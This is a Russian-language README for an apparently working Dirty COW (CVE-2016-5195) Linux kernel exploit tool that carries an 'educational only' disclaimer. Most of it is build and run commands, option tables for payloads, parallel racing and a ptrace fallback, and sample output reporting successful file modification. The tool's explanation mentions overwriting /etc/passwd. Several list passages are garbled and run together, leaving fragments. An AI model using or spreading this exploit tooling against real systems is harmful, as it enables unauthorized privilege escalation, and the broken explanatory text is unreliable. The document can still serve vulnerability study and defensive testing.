
Образовательный PoC для Dirty COW (CVE-2016-5195) с ведением журнала, запасным вариантом ptrace и поддержкой бинарных полезных нагрузок.
Этот код предназначен ТОЛЬКО для ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ. Любое вредоносное использование строго запрещено и противозаконно.
Dirty COW (CVE-2016-5195) — это уязвимость повышения привилегий в ядре Linux, которая использует состояние гонки в механизме копирования при записи (COW). Эта уязвимость затрагивает ядра Linux начиная с версии 2.6.22 (выпущенной в 2007 году) до версий:
Уязвимость возникает в системе управления памятью ядра:
MAP_PRIVATE, изменения должны создавать приватную копию.madvise(MADV_DONTNEED) и записью в /proc/self/mem./etc/passwd.НИКОГДА не запускайте это на рабочих системах или системах, которые вам не принадлежат!
# 1. Check kernel version first
uname -r
# 2. Create isolated test directory
mkdir /tmp/dirtycow_test
cd /tmp/dirtycow_test
# 3. Test with harmless files only
./main -t /tmp/test_file -v
# 4. Monitor system resources
top -p $(pgrep -f main)
# Install required packages (Ubuntu/Debian)
sudo apt-get update
sudo apt-get install build-essential libssl-dev
# Install required packages (CentOS/RHEL)
sudo yum install gcc openssl-devel
# Standard compilation
make
# Debug version
make main-debug
# Manual compilation
gcc -o main main.c -lpthread -lssl -lcrypto
# Simple test with default settings
./main
# Verbose mode with custom target
./main -t /tmp/testfile -v
# Advanced usage with multiple processes
./main -t /tmp/target -n 4 -r 3 -D -v
# Binary payload from file
./main -f payload.bin -P -D -n 2
/proc/self/mem (по умолчанию)ptrace(PTRACE_POKETEXT) для ограниченных системСканирует несколько смещений в памяти, чтобы найти наилучшую позицию для записи:
./main -D -v # Enable dynamic offset scanning
Запуск нескольких процессов для интенсивных состояний гонки:
./main -n 4 # Use 4 parallel processes
Загрузка произвольных бинарных данных из файлов:
# Create binary payload
echo -ne '\x41\x41\x41\x41\x00\x42\x42' > payload.bin
# Use binary payload
./main -f payload.bin -v
Автоматический повтор неудачных попыток:
./main -r 5 # Retry up to 5 times
Использует хэширование SHA-256 для проверки изменений файлов:
# Check original vs modified file hashes
./main -v # Shows hash comparison in verbose mode
Dirty COW Educational PoC (CVE-2016-5195)
==========================================
=== SYSTEM INFORMATION ===
Kernel Version: Linux 4.4.0-generic
Architecture: x86_64
Current User: testuser
UID/GID: 1000/1000
=== VULNERABILITY CHECK ===
Kernel: Linux version 4.4.0-generic
[+] /proc/self/mem accessible
=== STARTING TEST ===
=== EXPLOIT EXECUTION ===
[+] Target: /tmp/dirty_cow_test
[+] Payload length: 32 bytes
[+] Iterations: 10000000
[+] Processes: 1
[+] Method: /proc/self/mem
[+] Dynamic offset: disabled
[+] Backup created: /tmp/dirty_cow_test.backup
[+] Original content: original-content-before-exploit
[+] Starting race condition test...
[+] EXPLOIT SUCCESSFUL on attempt 1!
[+] File hash changed - modification confirmed!
[+] Original: a1b2c3d4e5f6...
[+] Final: f6e5d4c3b2a1...
=== TEST SUCCESSFUL ===
[+] File modification completed
[+] Educational objective achieved
[+] Statistics: 156789 writes, 1 successful, 2.347 sec
Инструмент создает подробные журналы в exploit_log.txt:
[2024-01-15 10:30:45] System Info - UID/GID: 1000/1000
[2024-01-15 10:30:45] Kernel version: Linux version 4.4.0-generic
[2024-01-15 10:30:45] /proc/self/mem accessible
[2024-01-15 10:30:45] Starting exploit - Target: /tmp/test, Payload: 32 bytes
[2024-01-15 10:30:47] EXPLOIT SUCCESSFUL on attempt 1
[2024-01-15 10:30:47] Final stats - Writes: 156789, Successful: 1, Duration: 2.347 sec
# Test basic exploit functionality
./main -t /tmp/basic_test -v
# High-intensity race condition test
./main -i 50000000 -n 4 -r 3 -D -v
# Test when /proc/self/mem is blocked
./main -P -D -v
# Test with binary data containing null bytes
echo -ne 'BINARY\x00DATA\x01\x02\x03' > test.bin
./main -f test.bin -v
Эксплойт работает, создавая гонку между двумя операциями:
madvise(MADV_DONTNEED) — сообщает ядру отбросить страницы памяти/proc/self/mem — попытка записи в отображаемую памятьMAP_PRIVATEКогда состояние гонки срабатывает:
1. "Эксплойт не удался или недостаточно итераций"
-i или используйте несколько процессов -n2. "Ошибка доступа к /proc/self/mem"
-P3. "Система может быть не уязвима"
uname -r4. Система перестает отвечать
-i 1000000-n 1# Conservative settings (slower but safer)
./main -i 5000000 -n 1
# Aggressive settings (faster but resource intensive)
./main -i 50000000 -n 4 -D
# Balanced settings
./main -i 20000000 -n 2 -r 2 -D
Это образовательный инструмент. Вклад должен быть направлен на:
Данное программное обеспечение предоставляется только для образовательных и исследовательских целей. Авторы и участники не несут ответственности за любое неправомерное использование или ущерб, причиненный этой программой. Пользователи несут единоличную ответственность за обеспечение наличия надлежащего разрешения перед тестированием на любых системах.
Используя данное программное обеспечение, вы подтверждаете, что:
Этот проект выпущен под лицензией MIT только для образовательных целей.
Помните: с большой силой приходит большая ответственность. Используйте эти знания для защиты и обеспечения безопасности систем, а не для их повреждения.
| Параметр | Описание | По умолчанию | Макс |
|---|
-t <file> | Путь к целевому файлу | /tmp/dirty_cow_test | - |
-p <payload> | Произвольная текстовая нагрузка | Тестовая строка | - |
-f <file> | Загрузить бинарную нагрузку из файла | - | - |
-i <num> | Количество итераций | 10,000,000 | 100,000,000 |
-n <num> | Количество параллельных процессов | 1 | 8 |
-r <num> | Количество попыток повторения | 1 | 10 |
-P | Использовать ptrace вместо /proc/self/mem | Отключено | - |
-D | Включить динамическое сканирование смещений | Отключено | - |
-v | Подробный вывод | Отключено | - |
-l <file> | Путь к файлу журнала | exploit_log.txt | - |
-h | Показать справку | - | - |